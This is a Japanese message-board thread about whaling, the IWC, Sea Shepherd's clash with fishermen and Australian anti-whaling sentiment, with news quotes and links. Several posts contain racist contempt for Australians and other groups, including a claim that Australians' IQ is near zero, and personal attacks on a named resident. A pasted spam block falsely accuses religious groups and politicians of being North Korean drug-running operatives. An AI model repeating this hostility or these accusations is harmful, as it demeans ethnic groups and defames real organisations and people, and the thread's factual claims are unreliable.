Panettiere is a spokesperson for the Save the Whales Again! campaign,
which is calling on the United States to stand up for whales at the
International Whaling Commission and take diplomatic and economic action
against whaling countries.
http://www.prnewswire.com/cgi-bin/stories.pl?ACCT=104&STORY=/www/story/01-24-2008/0004742597&EDATE
http://www.savethewhalesagain.com/wm_master.html
the Save the Whales Again! キャンペーンの広報担当
捕鯨国に対し外交及び経済的措置を取れと米政府に要求

She is now using her fame to lend a hand to the cause. She launched the website panettierecloset.com
where she will sell off items from her wardrobe. All proceeds will go to the ‘Save the Whales Again’ campaign.
http://pop.mojoitv.com/2008/01/hayden-panettiere-saving-whales.html
ウェブで商品販売、収益すべてキャンペーンに寄付

>>436
へえ・・・確かに>>432の言うとおり一般人よりか影響あるからな・・・

IWCは各国政府代表だから、国内世論の影響も受けるけど、IWC科学委員会は
政府派遣の科学者と委員会側からの招待学者から成り、世論の影響は非常に
少ないな。

国際捕鯨委員会の歴史を振り返ると、科学委員会とIWC総会の見解がいろいろな
意味で食い違っていたことが多かったけれど、ここ数年の致死調査の不要性に
関しては、科学者と各国政府代表の見解が一致している。（海洋上の安全等の
テーマには、科学委員会はタッチしていない）

ついでに言っておくと、国連海洋法条約の附表Iにはイルカ、シャチ等、小型
鯨類も記載されていますから、国際的管理保全の対象です。

日本沿岸の規制対象でないイルカ漁に涙流して見せるのも

「国際管理保全」の一環って訳だw

とりあえず、日本国内の反捕鯨団体を放逐したい

致死調査は必要ないのに、日本は名目上調査捕鯨として実際は商業捕鯨
を継続するのが目的だったんだろうね。
詳しい説明、ありがとう。

しかし、日本だって、捕鯨を維持していきたい理由があり、乱獲さえしなければ
クジラの数が再び激減することはないよ。

生物資源を復元するって、どこまで復元するとかいった目標値みたいなのは？

あのさ、三日ほど前に64, 65条について「どうせお前ら分かねぇだろ」と
言わんばかりにたかくくって、

>国際捕鯨委員会の多数派は、国連海洋法条約（1982年採択、1994年発効）の
>64条、65条を根拠に、無制限な「科学」の主張を退けているという構図だ。

などと、いい加減なこと抜かしよったけど、あっさり>>197でそのハッタリが
剥がされてたのがいたけどさ、こんどは条項数明示しなけりゃばれないだろう
とか思ったんかねぇ、附属書ときたか。

で、その附属書Iを参照している条として、例えば64条があるけど、
それだとIWCか、IWCがイルカ等の管理に関与しないなら、そういう機関を設立
すべしにしかなってないわな。

>国際的管理保全の対象です。

うんうん、確かにぎりぎり「嘘」ではないわなw
ミスリード狙い乙。

まあついでだ、他に附属書Iの参照元の条項があるなら指摘してみては?

>>441
誰と対話してるかイマイチ分からんが、
ソースも引用もなしで納得しちゃうのか？ｗ
ほんとどうしようもないな

>IWCがイルカ等の管理に関与しないなら、そういう機関を設立
>すべしにしかなってないわな。

もとい、「すべし」にすらなってないわ64条はww

つーか日本は商業捕鯨したいんでしょ？何が問題なの？

日本は、
「商業捕鯨です。ついでに調査もやっときます」
と言ってしまえばいいんだよ。もう。

>>445
営業妨害が激しすぎて民間ではもう無理だろう
>>446
別に営利目的で捕鯨やってるわけじゃないし、実際に利益も上がらない
"商業"捕鯨ってのはプロパガンダ・ワードだよ

ID:M4Y6s+7I0はGP？
これも反捕鯨キャンペーン活動？？？

失礼しました。

>>447
>"商業"捕鯨ってのはプロパガンダ・ワードだよ

そうね、普通天下り先とか利権、政治献金メカニズムって、建設でも、その他製造業、
サービス業でも幅広い民間商業部門をベースにしてるんだけど、捕鯨というのは隅から
隅まで官製で、特異な存在だね。北朝鮮やロシアによくあるパターンだな。

そんなに憎いか？w

もう一回読み返してみたけど、ID:M4Y6s+7I0は、やっぱりGPだ。

人をだますのはやめなさい。

だますのが仕事の人相手にそれは酷だよ

>>447
その営業妨害してる連中がどんな連中か考えれば
やっぱ反捕鯨団体ってカルト集団じゃんって結論に行き着くんだが

オーストラリアでは絶滅危惧種のジュゴンを年間１０００
頭以上獲って食ってるらしいぞ。貴重な海洋哺乳類を日本
の調査捕鯨と同じ数をろくな調査も無しに獲っておいてど
の面下げて日本の調査捕鯨を批判するのか・・・

http://www.news.com.au/story/0,23599,23474310-421,00.html?from=public_rss

1000頭は採りすぎじゃね？ｗ
先住民枠ならせいぜい2〜3頭だろ。

http://www.nicovideo.jp/watch/sm2874503
ニコニコの動画を通報しているのはVIPです

■「米国ユダヤ・シオニストー在日北朝鮮工作機関「創価学会」「統一協会」「オウム真理教」と言う部分が、どれだけネットで
浸透していくかが、日本の未来を決めるだろうな。そこのところが、核心だからね。

北朝鮮の秘密工作機関「創価学会」の犯罪者集団の構成員よ！
http://www.asyura2.com/0406/senkyo4/msg/298.html
統一協会とともに、オウム真理教を作り、上九一色村で覚醒剤とアヘンを作らせて、第７サティアンで精製して、山口組の鉄砲
「後藤組」に売らせていた、在日朝鮮人の「池太作」の手下ども！　自眠党に取り入り、乗っ取りに成功したと思ったところが、
婦女暴行魔・東日本最大の組織暴力団稲川会まるがかえの「小泉も正体」が暴露され、北朝鮮と宗主国米国の犬である正体が、
全国民の前に明らかとなった。低投票率で初めて効果がある、組織暴力団「創価学会」「稲川会」の脅しによる組織票も、
「愛国心」に目覚めた「日本民族の無党派層」の積極的な政治参加と２０％の投票行動で、以下のような卑屈な自眠党の小細工は
吹っ飛ぶ。

>>454
どんな記事か見て見たらいきなり主題が、新しく公表された数、ミンクの生息数を一刀両断。

要約すると、日本がアボロジニによるジュゴン先住民猟を批判した後にそれはもたらされた。
IWCは新たなミンクの生息数を日本が調査した今までのミンク生息数の半数、20万から68万頭の間
であると公表した。後はジュゴンは持続可能な捕獲は百頭に対し千頭が捕獲されている事への専門家
の意見と政府の言い訳。どっちがメインの記事なんだw

やめないか？
オリンピック終わるまで

なんか前もあったな、1つの記事で2つの話題の記事。
オーストラリア人は馬鹿なのか？

wikiのIQ項目に世界地図のイメージあるけど、
オーストラリアとアフリカの未開拓地帯だけ真っ黒だよ。
つまり、この国は平均して国民のＩＱが限りなくゼロに近いことを意味してる。

>>265
グリーンピースに金を寄付すりゃ抗議活動はぴたりと止まる

初期のグリーンピースがやっていた汚い話しがある

捕鯨問題で日本製品のボイコット運動をやるぞと、日本の某電気会社を
脅かして金をふんだくった

この記事、オーストラリアの新聞。日本の報道規制について。
http://www.theage.com.au/news/world/japans-garrulous-bloggers-go-strangely-silent/2008/04/04/1207249457841.html
下のほうに２ｃｈについても書いてある。
２ｃｈが世界１でかいインターネットフォーラムとは知らなかった。
反捕鯨のオーストラリア人がこれ読んだら、日本のメディアがプロパガンダ
と主張すると思う。

ついでにこれ、ＳＳの最新ニュース。
http://www.seashepherd.org/news/media_080404_1.html
Captain Alex Cornelissen （ＳＳ）requested assistance from the French police--
at least half a dozen of whom were present at the scene--but they did
nothing to defend the ship or crew against the mob. Instead, the police
suggested that Sea Shepherd should leave St. Pierre immediately.

>>463
ん？今　ヒロユキってアメリカ住んでんの？


ＳＳ必死だねぇ・・
僕ちゃんかわいそうでしょ　僕ちゃん被害者　てか
てか写真見る限りたいしたことされてない
暴徒化してないし

>>463

フランスの漁師達が何故そこまでの行動に至ったか、はっきりしたことは分からないけど、
一般的な想像するなら、(主義主張はどうあれ)船乗りとしてやっちゃいかんことをやりやがる
連中が平然と港を使用していることに我慢ならんてとこだろうな。直接行動しちゃったことの
是非はちょっとあれだが。

ちなみに、日本に入港しようとしたこともあったらしいが、水産業組合みたいなとこから
物言いがついて、入港の許可が出なかったってことがあったらしい。
日本側の真意がどうであれ、表明された理由はやはり船乗りとしてあるまじき行為を
する連中だからということだった。

それに引き換え、豪にはまともな船乗り皆無ってことだな。

調査捕鯨がなくなって一番困るのはＳＳかも

活動の中で唯一成果らしいものがあがってるわけだし。

>>466
鯨の次は鮪との噂

すでにグリンピースは中南米のマグロ漁に圧力かけてるよね。
理由は人道的でないからとかなんとかそんな感じ。
輸出先は日本。結局、日本バッシングという罠。計算ずくなんだろうな。

アザラシ漁の漁師さん4人が、最近事故で亡くなったんだね。その人たちに
対して、ワトソンがカナダのラジオインタビューで言った言葉が、
「sadistic baby killers」
「the deaths offour sealers is a tragedy but Sea Shepherd also
recognizes that the slaughter of hundreds of thousands of seal
pups is an even greater tragedy」
それで仲間の漁師さんたちが、プロパガンダで来ていたSSに怒ったんだ。

http://www.cbc.ca/canada/newfoundland-labrador/story/2008/04/04/stpierre-watson.html?ref=rss

グリンピースとシーシェパードって、つながってるの？

>>469
これって
アザラシの死＞アザラシ狩猟者の死　って事であってる？
もしそうなら、
何を今さ（ｒｙ　だけどこいつの頭完全にイッちゃってるな

途中で送信してしまったorz


アザラシの命が人間の命よりも下とは言わないが、人間の命より
アザラシの命が上という事もない。せめて同等に語るべきだ。
ワトソンにとってはアザラシ＞人間なんだろうけど

>>471

だよね。
SSやSSをサポートしている反捕鯨論者、冷静になってほしいよね。

>>463
２CHって、ただ馬鹿デカイだけの「掲示板」なのになｗ
やつらのイメージでは、すご腕ハッカー達が政府やYAKUZAから以来をうける
謎のサイトみたいなイメージだったりして

（HUNTER×HUNTERのハンターサイトみたいな感じｗ）

自分が倫理面で歴史の最前線に位置しているという錯覚が
地元の漁師たちに対する侮蔑的な言葉に滲み出てるんだよね

反捕鯨運動や動物愛護思想はイデオロギーのお話なんだよ

次の対抗動画とかに、２ｃｈのキャラクター出てきたら笑える。
オーストラリアのメディアにもとりあげられたりして。ｗｗｗ

SS　対　２ｃｈの決闘！

>>469
他に動画に使えそうな部分はあるかな？
自分でも読んでいるが、なにせ作文はできても読解はあまり得意ではないもんで・・・

>>473
自分たちの考え＝常に正しい　っていう思考っぽいから
冷静になるのは難しそうだね

>>474
２ｃｈってたまにどこからその情報仕入れたんだ？って事ない？
犯人グループの名前や住所、顔があったり
暴力教師の名前や住所が載ってたり

>>477

カナダのGreen Party, Elizabeth Mayの態度:
cutting ties of her own with Watson, saying his most recent comments
are extreme
(多分自分のネクタイをひきちぎって「彼は極端すぎる」と言ってるから、
怒ってんだよ。）

漁師さんの言葉：
"We don't accept those kinds of people in St-Pierre,"
"We cut the rope and let the boat go….
If they want to come back I tell you this time there's going to be
some violence, 'cause we won't let him back in the harbour. No way."

地元警察に無視され、ワトソンいわく：
"This morning a bunch of fishermen attacked our ship, and they cut
the bowlines with an axe," said Watson. "The police did nothing."

カナダのGreen Party, Elizabeth Mayは、SSのAdvisory Committee
としてワトソンと何年も前から知り合いだった。
でも、今回はの件で彼女は自分の名前がSSにのることを嫌い、
SSのAdvisory Committeを退任、

そして彼女の言った言葉が：
"I don't pretend to not be controversial. I'm here to rock the boat,
to make waves, to make people think, you know, to provoke. That's what
I do."　

最後に：
"I'm not embarrassed, but I'm saddened ？ very saddened,"

ごめん　うまく訳せないんだ。誰かー！

これもネタにならないかな。（長いけど）
http://www.guardian.co.uk/environment/2008/apr/05/poles.endangeredhabitats

これは、誰が（どこの国が）北極の領土所有権を持ってるか。現在地球温暖化で、
氷が解けてるでしょ。それで、北極の資源採取が実現可能になってきているんだよ。

それで、アメリカ、カナダ、ロシア、グリーンランド等の国々は北極に軍事基地を
持っているらしいんだけど、北極は誰ものもなのか、「とても冷たい冷戦」が
始まるかも、なんて書いてある。

北極と同じように南極にもたくさんの資源があるんだよ。

と、言うことは？オーストラリア政府がなんで南極海はオーストラリアの
ものだ！って言ってるかわかるよね。

あと、オーストラリアの温暖化対策もいまいち。原子力発電を持たないけど、
資源のたくさんあるオーストラリア。電力はいまだに石炭。
たしか、どっかの資料で、一人当たりの二酸化炭素排出量がアメリカを抜いて
世界１だったような気がする。

どうよ？

>>479
>cutting ties of her own with Watson

これの tie って、ネクタイじゃなくて、ワトソンとの「結びつき/関係」のことじゃないかい?

さて、自称環境派の反捕鯨団体の動きがみものですね

捕鯨反対の主な理由に「北極と南極が二酸化炭素を吸収し
地球の温暖化を防いでるから」といっていた連中は、
北極の生態系を破壊するような資源開発を容認するのでしょうか。
それとも、権力に抗って「人柱」を介入して開発阻止に奔走するのでしょうか。

はたまた、北極の問題を全力でスルーしつつ、太地町で写真撮影会を開催するのでしょうか。
あるいは「クジラ以外の海洋生物も食べるな野蛮人」と圧力を掛けてくるでしょうか。

>>481

あ、そうだと思います。

>>474
いや、記事の内容はそのままだよw世界最大のフォーラムでは悪質な誹謗中傷が
散乱し、多くの訴訟が行われるが、政府は効果的な手が打てないでいる。
ネット規制とメディア支配の矛盾が存在すると。日本ではこれらの問題をみな認識しているが
誰もが沈黙したままだ。驚いた事に日本ではネット被害とメディア支配のオンブズマンが存在しない。

まさかオーストラリアの記事でヒロユキとナベツネ批判が見れるとは思わなかったよw

日本人の感覚からすりゃ、政府がネット検閲している事実の方がよほど驚きだがな。

>>484
この記事ではないけど、

とあるオーストラリアの反捕鯨向け掲示板では、日本政府が反捕鯨の
スレを警戒していると疑ってるよ。クソみたいな掲示板なのに。

日本政府が国内に捕鯨のプロパガンダを浸透させるために、表現の自由が
コントロールされる、と。

2ちゃんに反捕鯨のスレなんてあったか？

自分達の正当性を消してしまうような正論を悪質な誹謗中傷と言い換えることでしか立場を保てない可哀想な人たちだな。

>>487
２ｃｈじゃない掲示板。

したらばとか？

>>487
ヤフージャパンの掲示板にそれらしきトピックが

Facebook。日本のMixiみたいなもの。現在全米で、Myspaceについで第2位。
欧米の人たちが情報交換の場として使ってる。
ユーザーネームとパスワードが必要なんだけど、このページ、見れるかな。

http://www.facebook.com/group.php?gid=7251222651

このページのタイトルは
「Fuck off Japan...Leave the Whales Alone」
現在このページの参加者は約180000人。オーストラリア人が多い（と思う）。

ここでは、グリーンピースやSSのプロパガンダ、反捕鯨の署名や、残酷な
写真等々。下のほうにDiscussion Boardがあって、反捕鯨に関する掲示板。
本当に好き勝手なこと言ってるよ。

いつからやってるのか知らないけど、まさにファシストの始まり。

＞捕鯨のプロパガンダを浸透させるために、
＞表現の自由がコントロールされる、と。
それいいだしたらwikiに暗躍してるグリンピースの工作員とかどうなるんだろうね。
むしろ、自分に都合の悪い情報を改竄・削除して統制しているのはグリンピース側でしょ（ようつべのコメ欄然り･･･）
つーか、豪州メディアって基本的に自国政府を全然疑わないよね

>>493
去年はその逆だったんだよ。
とにかくハワード政権を批判することを意とした記事。
批判することが目的になってて、事実を書くといったジャーナリズム精神が
皆無。日本の捕鯨だけじゃないよ。

それから、このスレでIWC科学委員会の立場から色々と発言してる人がいるけど、
グリンピースが喧伝しているあやふやな歴史観や正当化のイデオロギーを
適当に織り交ぜながら話するの止めて欲しいね。なに考えてるのか知らんが、
科学的な見解だけ述べたいならそれだけに限定して欲しいものだ

>>495
２ｃｈだけじゃないんだよ。そういうふうに、科学とか知ったかぶって
主観だけで話す欧米人、いっぱいいるよ。

プロ市民ってほとんどがそうだが、
専門知識なしでも「市民の熱意」でどうにかなると勘違いしてるよな
レジ袋削減運動とか反吐がでるよマジで、

>>479
助かるわ、ありがとう

見れた？
Facebookで、Whaleって検索すると、似たような反捕鯨グループがいっぱい
出てくるよ。中には捕鯨賛成のグループもあるけど、参加者は50人から100人
ぐらい。これは日本人のFacebook利用者が圧倒的に少ないから。
反捕鯨グループに入っていても日本の捕鯨賛成の欧米人もいるよ。もちろん
もーーーーんのすごく数は少ないけど。捕鯨賛成者は、たいてい
支離滅裂な、理論でたたかれているんだよ。

>>498
反捕鯨ってこっちが証拠というか２ｃｈでいうソースつきで
反論しても捏造だ！お前らの言うことは信じられない、
とか言ってくるから議論にならない
挙句の果てにまったく関係のないマグロや魚全般の話まで出してくる

>>497

レジ袋削減はたしかにやってるね。袋持参で買い物って、結構浸透している。

でもね、ごみの分別が、2種類しかないんだよ。普通のごみと、リサイクルごみ。
分別といっても形式だけで、実際分けている人は少ない。

日本のほうがよっぽどリサイクルしてるよ。

クジラしか頭にないんだよ。
ナチス？ファシスト？

掲示板で反捕鯨に反論しているところを読んだけど、次から次へと話がずれてて、
終いには日本の戦争まで持ち出してた。

きたないよね。彼ら、理論では負けてるよ。

>>499
彼らとやりあうには、レベルを下げる必要があるかも。

もし関係のないマグロなんかの話が出てきたら、オーストラリアが以前イラクに
賄賂を払って小麦と石油の契約を結んでたこと、それがイラクの武器購入に利用
されてたことを言って反論するのが得策かと。まったく関係ないけど。

>>502
豪州もマグロ獲っててその上養殖もやっててそれで生活が成り立ってる人もいるのに

って返したらなぜかマグロの話はそこで終わった

＞オーストラリアが以前イラクに
賄賂を払って小麦と石油の契約を結んでたこと、それがイラクの武器購入に利用
されてたことを言って反論するのが得策かと。まったく関係ないけど。

この話始めて知った
豪州って結構醜いことやってんだな

>>503
これはね、米軍がイラク侵攻する前に、国連開発計画が、Food for Oilっていう
プログラムをやってたんだよ。「AWB」と、「Food for Oil」って検索すると
出てくるよ。
米軍がバグダッド侵攻したときに証拠書類みたいなのが見つかったんだ。
小麦の輸出はアメリカも参加したかったと思う。で、大問題になったんだ。

今にして思えば、東チモールの独立だって怪しいもんだ。

石油が埋蔵しているって言うし。

>>503
豪州人にマグロ漁のノウハウ教えたの日本人の漁師なんだぜって教えてやれｗ

どうでもいいけどオーストラリアのyoutubeで
japanese faceていうビデオ上がってるｗ

反論できないからって・・・ｗ

ttp://ziza.ru/2007/07/06/devushki_topless_na_pljazhe_20_foto.html

もし男子自衛官がいない時にサマワで、
暑さに耐え切れなくなった女性自衛官が
この写真のような格好で仮設の風呂に入浴しているところを、
シーシェパードがみたら、どうなったかな。

彼らに捕獲されたでしょう。

>>507
今見てきたけどコメ見るといろんなのがいるな
うｐ主が一番醜い、って言ってる人もいればＧＪ！って言ってる人がいたり
日本人はマジで醜い、日本人は米南部（多分黒人のこと）にいる奴らと
同じぐらい醜い　とか
日本行ったことないでしょ？、日本人はキュートよ、　ていうコメもあった
うｐカテゴリーだけ見てハハハって笑ってる奴もいる

そのビデオみてきた

1.リンク先の詳細がうｐ主によって閲覧制限されてる
→どこかの掲示板に晒されてるのだろうが、隠されてる
2.複数のアカウントから同じ動画を何本もエントリー
3.アカウント主の国籍が全部豪州
4.タグに「イルカ」や「クジラ」など捕鯨問題と関連づけ

ありうる可能性
1.日豪の対立を先鋭化させてほくそえんでる某国の愉快犯
→捕鯨問題で論理的に反論を行わないのは、論理で責めなければならない動機が自分にないから
すなわち、捕鯨問題で日豪のどちらにも属さない非当事者である可能性がかなり高い
2.本物の馬鹿オージーだった。
→豪州人の民度の限界。彼らはあんな動画で捕鯨問題で反論した気になっている。

>>461
　差別主義者乙
ちなみにその数値は、アボリジニの数値だからな。アボリジニの皆さんに謝罪しろよ（笑）

差別主義者ｗ 都合のいい言葉だよな〜
豪州は責任持って基礎教育しろよ
差別主義国家オージーｗｗｗ

　なんかこのスレ見てると怖い。こんなこと言うと、朝鮮人とか言われるんだろうけど「白人は〜」
とか言ってるやつもいるし、鯨ごときで欧米人の機嫌を損ねて戦争にでもなったらと思うとほんとに怖いわ。
　新聞や軍部が無知な大衆を煽って、圧倒的な国力を有するアメリカと無謀な戦争に突入していった60年前
を笑えない。なんか捕鯨関係で過激発言する右翼議員もいるし。

>>512
　恥ずかしいな。明らかに461は「低いＩＱ」がアーストラリア白人のものだと思ったから
レスしたんだろ。間違いを認めろやレイシストが。
　お前みたいなのは大した能力もないくせに、例のＩＱコピペ（東アジア人が一意のやつ）で
悦にいってんだろうなぁ（笑）。

とりあえず、オージー動画の「japanese face」とやらにむかついたから
日本の美女まとめて対抗動画つくってみるわ

外人受けしそうなグラドル・モデル（できれば画像も）を教えてくれ
（とりあえず、森理世かな）

追伸
>>515
美男子も頼む

>欧米人の機嫌を損ねて
馬鹿ですか?

国外の南極にいるクジラたんは「かわいい」から熱心に愛護運動ｗ
でも、国内のアボリジニは「かわいくない」から基礎教育から排除ｗ
1970年代にアボリジニ虐殺を終えたそうですが、デマカセでしたか。
そーでつか

>>514
お前、なに俺につっかかってきてんの
そこまで 熱くなる理由がわからんのだが
レイシズムの使い方も間違えてるし

＞鯨ごときで欧米人の機嫌を損ねて戦争にでもなったらと思うとほんとに怖いわ。

機嫌をそこねるというよりは、「鯨だけを保護すると増えすぎて、魚を大量に食い
漁業が迷惑する」とか、「ゴキブリのように多いミンククジラが増えて、シロナガス
やナガスなど、貴重な鯨が増えられない」とか、水産庁という官庁がデタラメな理論を
振りかざして世界で無理を押し通そうとしてるところが脅威になってるんだね。

ブッシュ政権のデタラメなネオコン理論もそうだけど、経済大国が国内のまともな
自然科学者、社会科学者を迫害して、アホ理論で世界政策を突っ走ると、いろんな
とこで迷惑を被る人たちが出てくるという問題だと思う。

>>515
やめといたほうがいいと思うよ

別に止めはしないけど下らない美女議論なんて
勘弁してくれｗ

>>515
美男美女はたくさんうｐられてるだろ
ジャニーズやらGacktやらhydeやらヴィジュアル系バンドは人気高いよね

>>513
>>519
それ、豪州のこと？

韓国人のブス写真集めまくってｷﾞｬﾊﾊって笑うサイトあったろ。
あれと同レベルのことにいちいち反応する必要があるのか？

>>518
　俺はアボリジニに対するオーストラリアの態度について何も言及していないが？
レイシズム＝人が自らとは異なる人種に対して形質的差異をもって差別すること
おれの使い方が間違ってる？指摘してみろよ。
　大体日本人だって沖縄と北海道で、オーストラリアよりましだったとはいえ
先住民にひどい扱いしてきたじゃん。先住民じゃないけど部落民に対してもだけど。
ネトウヨの二枚舌って笑えるわ。

ここは捕鯨問題のスレ
確かに、スレ違いだった申し訳ない。

つーか、今年のいつだったか
アボリジニが豪州のモーテルに宿泊しようとしたら
「アボリジニだから」という理由で宿泊拒否されてたよな。
迫害されすぎだろどー考えても。

>>517
　なにがおかしいの？アメリカの政府関係者が経済制裁をほのめかしてきたじゃん。

>>527
　日本でも「日本国籍の」白人をの入浴を拒否した銭湯がありますが。

訂正
　日本でも「日本国籍の」白人の入浴を拒否した銭湯がありますが。

>>529
あー、小樽の件だろ。
いまはどーだか知らんがアレには経緯があってだね。

小樽ってのはロシアの漁船の寄港場所で、カニやらなんやらが
んで、ロシア人の滞在期間中は当然、地元の飲み屋や銭湯がロシア人で賑わうわけだ。
ところが彼らの態度は横柄でね。「旅の恥は掻き捨て」というけれど、
どーせ一年しかいないわけだし、好き放題、暴れ放題したわけ。
女の客を強制的に拉致、強姦は日常茶飯事。銭湯で大声出して暴れるわ、
身体に石鹸つけたまま入浴したり、マナーが最低。地元客は寄り付かなくなった。

でね、深刻なのは客離れを起こした飲み屋が廃業する事態にまで発展、
治安が悪く観光客も寄り付かなくなって街自体が寂れてしまった。
我慢の限界に達した自治体が協議を重ねた結果、
「日本人以外お断り」張り紙を貼ることにした。

で、これはロシア人と小樽市民だけの話なんで話はここで終息するんだけど。
これが社会問題として認知されたのは、日本人に帰化した米国人が
日本人の家族で入浴しようとしたら「白人お断り」って拒否られたわけ。
銭湯の主人が、なじみの地元客に配慮した結果だ。
でも、拒否られた男性は腹が立って、「人種差別だ」と訴えたわけよ。

どちらの言い分もわかるだろ。
俺個人の意見を言わせてもらえば、その元米国人は感情的になる前に
ことの経緯を知って自重するか、地元の人たちに信頼してもらうような働きかけを行うべきだった。
彼がとったような「裁判」という攻撃的な態度ではなくね。

>>531
有道出人（？）さんだっけ？
どっちの言い分もわかるから複雑だ

>>531
で、裁判どうなったの？

ちなみにね「日本人お断り」の貼り紙をする前まではどんな事件を起こされようと、
「ロシア人も日本人も同じ人間、お客様であることに変わりはありません。
私たちが心を開いて接すれば彼らも理解してくれるはず。交流を深めて
日露の絆をより深めたい。うちの店がそーいう場になってくれればいい」
って言ってたんだよ。だから、小樽市民は相当我慢していた。
その姿勢、貼り紙を貼った以降もかわらないみたいだったね。
事後のテレビ取材に対して、同様の主旨を述べてたから。
でもね、「店を廃業させてまで受け入れるべきか。
自分にも養わなければならない家族がいる」という選択肢
止む無く貼り紙を貼り続けているといってたよ。
家族会議でもいまだに結論が正しかったのか賛否両論んだとも言っていた。

ロシア人はね、そんな彼ら日本人の思いをことごとく裏切ったんだよね。
わかるかい、差別的な思想の持ち主はいったいどっちなのか。

補足、そんな状況に置かれながらも
中にはすべての事情を受け入れて（＝自治体の決定に反して）
白人の入出を歓迎する立て札を掲げた飲み屋もあった。
そこのご主人曰く「小樽中の店が日本人客しか受け入れなくなったら、
ロシア人に申し訳ない。うちだけでもという思いで歓迎の立て札を立ててます」。

んで、店に入るとね、ロシア人の漁師たちの溜まり場だったよ。
もちろん、日本人の客もいた。テレビでみた限りではお行儀が良かったよ。
だからね、Youtubeにある動画だけで「小樽の人は人種差別的だ」と思わないで欲しい。

ここで「白人が〜」とか言ってるのはごく少数で、みんな「かわいそうだから」
とかいった感情論で日本を否定する反捕鯨論者に頭にきているんじゃん？

確かに差別主義者は日本も含めてどこにでもいるけど、日本人は比較的、外国人
には肝要だと思う。

反捕鯨に対抗しているだけだよ。

このスレの>>306がよそのスレにコピられて、こんなん出ました。
>>306の英国によるIWC勧誘対象の内、

ブルガリア−2007年やっとEU加入。失業率高し。EU中ワーストビンボ国w
クロアチア-EU未加盟、2010年加入予定。未だクロアチア紛争の傷が癒えず
大量の難民を抱え情勢不安。
キプロス-EU加盟は2004年だがユーロ切り替えはやっと2008年に実現。
南キプロスとの3倍もの経済格差を抱え、トルコ系住民の分離独立運動もある
北キプロス問題で同じく情勢不安状態。
エストニア−EU加盟済みで経済はマシだけど残留ロシア人問題、国境問題を
抱える。
ラトビア−民族主義による国内ロシア人の処遇問題でEUにおんぶに抱っこ状態
マケドニア−欧州でのまるで存在感ナシwビンボ。EU未加入。
モンテネグロ、セルビア-それぞれ旧ユーゴからの独立承認を巡って非常に「臭い」

いずれの国も「EU加入・加入決定/ユーロ切り替え」年月日が>>49の英IWC勧誘と
「綺麗に」リンクしてます・・・w

キプロス、エストニア・ラトビア、クロアチア・セルビア・モンテネグロなんか
どこも民族問題でほっといたら今後数十年ぐっちゃぐちゃの政情不安国ばかり。
よくもココまで集めも集めたり、という感じですね、イギリスさんw

>>306にある「EUの端っこ」国々が「鯨類資源の持続利用」なんか気にしてる
余裕の有る国だとはとても思えませんね。

EU加入や国内民族問題の干渉/「不」干渉なんか条件にして恫喝外交
（脅迫？）みたいな真似してるとしか・・・w

>>537の中で一部安価が>>49になってるのは元スレの分で訂正忘れ。
ここの>>306の事です。

日本が「捕鯨賛成国を買収してる」なんていうのに対抗する動画ネタとして
使えそう？

>>538

>>344と>>536も入れよう。

japanmese face って、日本人の写真の中からブサイクなのだけピックアップして晒し者にしてるじゃん。

卒業写真とか、記念写真とかから勝手に転載してるし。
写真の本人に謝れよオージー。

>>540

無視しろよ　もう見るなよそんなの。

まあスレ違いだが、

>>531
>でも、拒否られた男性は腹が立って、「人種差別だ」と訴えたわけよ。

いや、そうなることを期待して、わざわざ遠征したんだから、
その時点ではもう「腹が立って」なんて無いよ、計算通りってだけ。


>>533

司法ってのはその時点までの法整備の範囲内でしか、判決を出せないという
司法の制約を「賢く」狙った有道くんの、これまた期待通りの結果となったよ。
いちおうは「皆平等」ってことになってる法からすれば、有道くんを勝ちとせざるを得ない。
これにより、例えば創価学会の連中が、狙いをつけた店の店主を「折伏」するために、
安い商品だけ頼んで店の席を占領し続けるということを、店主が音を上げるまで
連日続けるというのも天下御免でおっけーとなったわけだ。

ちなみに、その後の有道くんについては
ttp://blog.livedoor.jp/tonchamon/
ここのブログあたりが着々とネタを蓄積してくれてますね。例えば
ttp://blog.livedoor.jp/tonchamon/archives/51809229.html
ttp://blog.livedoor.jp/tonchamon/archives/51840148.html
ttp://blog.livedoor.jp/tonchamon/archives/51852374.html
ttp://blog.livedoor.jp/tonchamon/archives/51811752.html

>>542
差別をネタに、あることないこと書き散らす輩なのね、コイツは
反捕鯨論者に「日本人の２人１人は買春経験があるそうじゃないか」と言われた時は
「辛淑玉しねや」と思ったが

「日本は外国人を殺すことは許可してる唯一の国」とか、ひどすぎるだろ有道
辛淑玉の１０００万倍悪質

>>543

あんた流れ読んでない。まだ眠いの？

japanese faceってのは韓国人が作った。エンコリにいっぱいあった写真を使ってたし。

今日はこんな記事見つけた。
http://www.asahi.com/food/news/TKY200802080429.html

日本ではクジラは農林水産庁でしょ。豪州では環境省管轄なんだ。

庁じゃなくて省。間違い。

>>542
あのゲージンにそんな側面があるの初めて知ったよ。
呆れるしかないな。帰化してんのに、嘘ついてまで日本叩きする裏事情はなんだろ？
何にせよ、日本を根拠なく恨んでるキチガイは特亜だけではないってことは分かったよ。

本人は馬鹿だが、その馬鹿を英雄と称え寄付金与える方にも問題がある

YouTube動画にアクセス解析機能が追加されました。Google Analytics のようなアクセス解析をYouTube上で利用することができます。

本日リリースした「YouTube インサイト」を使うと、アップロードした動画について詳細な統計情報を見ることができます。たとえば、
世界のどこで動画がどのくらい見られたのか、ある期間の間、相対的にどのくらいの人気があったのか。いつ人気がでて、いつ人気が落ち始めたかなどの、ライフサイクルを見ることも可能です。

だそうです。
http://google-mania.net/archives/943

抽出 ID:z1lqsL6C0 (19回)
ひさしぶりにきたら　こいつ鯨と関係ない人種論を延々語ってるなｗｗｗ
スルー対象ｗ

嘘つき。

たとえば捕鯨のひとでいうと、あなた方の敵方はまだ１８歳なのに自分の女優としてのキャリアを危険にさらしてはるばる日本までやってきてイルカ漁の船と戦っていたではないか。
（これについて、「売名行為」だと書いているバカがいましたが、ものを知らないのにも程度がある。このひとにとっては、この抗議行動はマイナスになる可能性こそあれ、
キャリア上よいことはなにもなかったはずです）
有志をつのって船を借りてシーシェパードの船となぜ戦えないか。
海戦をすればよいではないか。シーシェパードの船なぞ、日本人有志の船に撃沈されても、ふつうのオーストラリア人はなんともおもわん。
日本の「反ガイジン」のひとは、むかしから日本語が理解できるガイジンに噛みつくだけだが、それではあまりにはミジメで馬鹿まるだしだと思わないのかそれでは、
まるで「反ガイジン」の主張をもっているひとはほんとうは英語すら理解できないマヌケの集まりみたいでかっこわるすぎではないか。
もし仮にほんとうに英語すら出来ないのだとしたらお笑いを通り越して悲劇だが。
日本のひとは世界に向かって「われわれは世界を憎んでいるのだ」と、ばかでかい広告を打ってしまった。
